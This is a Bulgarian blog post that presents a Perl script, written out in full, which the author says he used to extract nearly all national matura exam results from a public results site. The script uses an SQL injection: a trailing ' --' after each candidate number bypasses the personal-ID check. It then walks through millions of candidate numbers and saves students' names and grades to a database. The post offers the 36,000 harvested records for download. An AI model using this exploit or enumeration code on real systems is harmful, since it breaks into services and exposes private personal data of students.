Фанфари свирят, червения килим се развърта по земята, и изведнъж се появявам аз, пристъпващ бавно-бавно с безжичен usb адаптор в ръка...
Това не е някой от странните ми сънища, а самата реалност, защото:
- Реших да съживя тая развалина, наречена блог.
- Все още карам на публични(разбирай чужди) безжични мрежи за интернет в София.
И докато втората причина е съвсем обяснима ("пари нема, действайте". Тъй, тъй, чичо Годжи) то първата е мъглява и мистична като дълбок планински вир в пролетна утрин. Най-вероятно поради липсата на поприще за изява на потиснатия ми креативитет. Звучи ужасно комплексно, пък всъщност става въпрос за нищо кой-знае какво :D Но стига толкова въведения.
И преди да съм нападнат за несъответствие на заглавието с текста, независимо че няма от кого, ще се измъкна и ще продължа по същество. Оставам верен на себе си и представям поредната geek-щина от себе си, а именно: скриптът, с когото източих (почти) всички резултати от матурата. Писан е на Perl и се нуждае от 1-2 библиотечки, който се инсталират за 0 време през CPAN. Скрипта го търсете на дъното ->
Трябва да уточня че става дума за първите матури - септемврийските не ме интересуват. Източете си ги сами със същия скрипт. Лиценза е GPL. Абе ако щете го крадете, поне ще научите нещо за Perl.
За да не кажете че си измислям, тук публикувам и тези всичките резултати в няколко удобни формата. Внимание, файловете съдържат по 36000 записа, така че не се чудете защо ви забива Word/Excel/SQL-a/т.н. Свали версия: Excel SQL CSV XML
И преди да съм арестуван от ГДБОП и всесилната ръка на закона(протегната от кмета, естествено) да ме е сграбчила за usb адаптера, само ще добавя че тези файлове не съм ги качил аз, а един приятел, така е че негова (евентуалната) вина. Той се казва Руперт Циско, за по-кратко му казваме Прокс. (Както гласи песента на Ъпсурт) не питай защо!
Connection Lost. Wireless network out of range...
#!/usr/bin/perl
#----- библиотеки
use lib qw( ..);
use HTML::TableExtract;
use LWP::Simple;
use Data::Dumper;
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use DBI;
require Encode;
#----- инициализации, блабла
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 8.0 blah...");
$name="";
$number="0";
$test1="";
$test2="";
$ocenka1="";
$ocenka2="";
my $check = "<td bgcolor=#F5F5F5 class=\"style3\"><strong>";
$broi = 0;
$idstart = 1000001; #кои е номер 1 в листа? xD
$idend = 6500000; #последния в листа
$idnow = $idstart;
$nosuchid = 0;
$thisonefails = 0;
#----- айде на SQL-а
my $dsn = 'DBI:mysql:spider:localhost';
my $db_user_name = 'spider';
my $db_password = '';
my ($id, $password);
my $dbh = DBI->connect($dsn, $db_user_name, $db_password);
$dbh->do("SET NAMES 'utf8'"); #тая кирилица от записите е много кофти
while($idnow <= $idend) {
print "now trying $idnow ... ";
#----- отваря страницата и резултата с помощта на SQL инжекция в кода
my $req = (POST 'http://rezultati.zamaturite.bg/rezultati.php',
["EnterNumber" => $idnow . " --",
"EGN" => "1"]);
$request = $ua->request($req);
$content = $request->content;
#----- тест дали номера на кандидата се използва (ако не, няма таблица (с резултатите) в текущата страница)
#print "checkin for validity of ID $idnow...\n"; #за по-голяма приказливост, или както му викат нормалните хора - verbosity
if(index($content,$check) == -1) {
# die("No such ID!\n"); #дрън-дрън
print "failed! \n";
#----- Алгоритъмче за превъртане на километража, така де, номера
#----- След 20 неуспешни локални номера (последната тройка) ->
#----- се мятаме на нов локален идентификатор (втора двойка числа)
#----- или нов градски индентификатор (първа двойка числа)
if(++$nosuchid == 20) {
my $p3 = substr($idnow, 4);
my $p2 = substr($idnow, 2, 2);
my $p1 = substr($idnow, 0, 2);
if( $p2 == '99' ) {
$p3 = '001';
$p2 = '00';
$p1++;
} else {
$p3 = '001';
$p2++;
if($p2 == '1') { $p2 = '01'; }
}
$idnow = $p1 . $p2 . $p3;
$nosuchid = 0;
} else {
++$idnow;
}
next;
}
#----- главен цикъл//живот
$nosuchid = 0;
#----- ----- "прочети" таблицата
my $te = new HTML::TableExtract( depth=>1, count=>1, gridmap=>0);
#----- ----- а сега разпредели и оразумей прочетеното -> Име, номер,
$te->parse($content);
foreach $ts ($te->table_states)
{
# print "dumpin table xD\n"; #дрън-дрън приказливост
foreach $row ($ts->rows)
{
$broi++;
# бла-бла още приказливост
# print "dumpin row xD\n";
# кофти кирилица
if($broi == 3) { $number = Encode::decode( 'cp-1251', @$row[1] ); }
if($broi == 4) { $name = Encode::decode( 'cp-1251', @$row[1] ); }
if($broi == 7) { $test1 = Encode::decode( 'cp-1251', @$row[0] ); }
if($broi == 8) { $test2 = Encode::decode( 'cp-1251', @$row[0] ); }
# приказлив като стара лелка
#print Dumper $row;
#print @$row[1] . "\n";
#print Dumper $row if (scalar(@$row) == 2);
}
}
#----- ----- извлечи ми точки за първи изпит (български)
#----- ----- "прочети" таблицата
my $te = new HTML::TableExtract( depth=>2, count=>0, gridmap=>0);
#----- ----- 'земи точките
$te->parse($content);
foreach $ts ($te->table_states)
{
# print "dumpin table xD\n";
foreach $row ($ts->rows)
{
$ocenka1 = substr(@$row[0], index(@$row[0], ".") -2, 5);
}
}
#----- ----- извлечи ми точки за втори изпит (избирателен)
#----- ----- чети таблицата!
my $te = new HTML::TableExtract( depth=>2, count=>1, gridmap=>0);
#----- ----- земи точки!
$te->parse($content);
foreach $ts ($te->table_states)
{
# print "dumpin table xD\n";
foreach $row ($ts->rows)
{
$ocenka2 = substr(@$row[0], index(@$row[0], ".") -2, 5);
}
}
#----- а сега да почистим записите на тия лентяй от ненужни интервали
$test1 =~ s/^\s+//; #махаш начални интервали
$test1 =~ s/\s+$//; #махаш крайни интервали
$test2 =~ s/^\s+//; #махаш начални интервали
$test2 =~ s/\s+$//; #махаш крайни интервали
$ocenka1 =~ s/^\s+//; #махаш начални интервали
$ocenka2 =~ s/\s+$//; #махаш крайни интервали
#----- не помня кво съм правил тука, прилича на чистене на интервали
# substr($test1, 28, length($test1), "");
# substr($test1, 0, 1, "");
# substr($test2, 0, 1, "");
print "Name: " . $name . "\tNumber: " . $number . "\n";
#----- още приказливост
#print "Test1: " . $test1 . "\tTest2: " . $test2 . "\n";
#print "Ocenka1: " . $ocenka1 . "\tOcenka2: " . $ocenka2 . "\n";
#----- ръч в базата данни
my $sth = $dbh->prepare(qq{
INSERT INTO maturi (nomer, ime, test2, ocenka1, ocenka2) VALUES ($number, \'$name\', \'$test2\', $ocenka1, $ocenka2)
});
$sth->execute() or $thisonefails++;
#----- increment counter
if($thisonefails != 1) {
$idnow++;
$thisonefails = 0;
}
#----- първо си мислех че sql-а ми дропи заявките от натоварване, а то
# се оказа че някои гении нямат втора или първа оценка или нещо подобно,
# и заявката се дъни поради липса на параметър. Оставих го за всеки случай.
$broi = 0;
$name = $number = $test1 = $test2 = $ocenka1 = $ocenka2 = "";
}
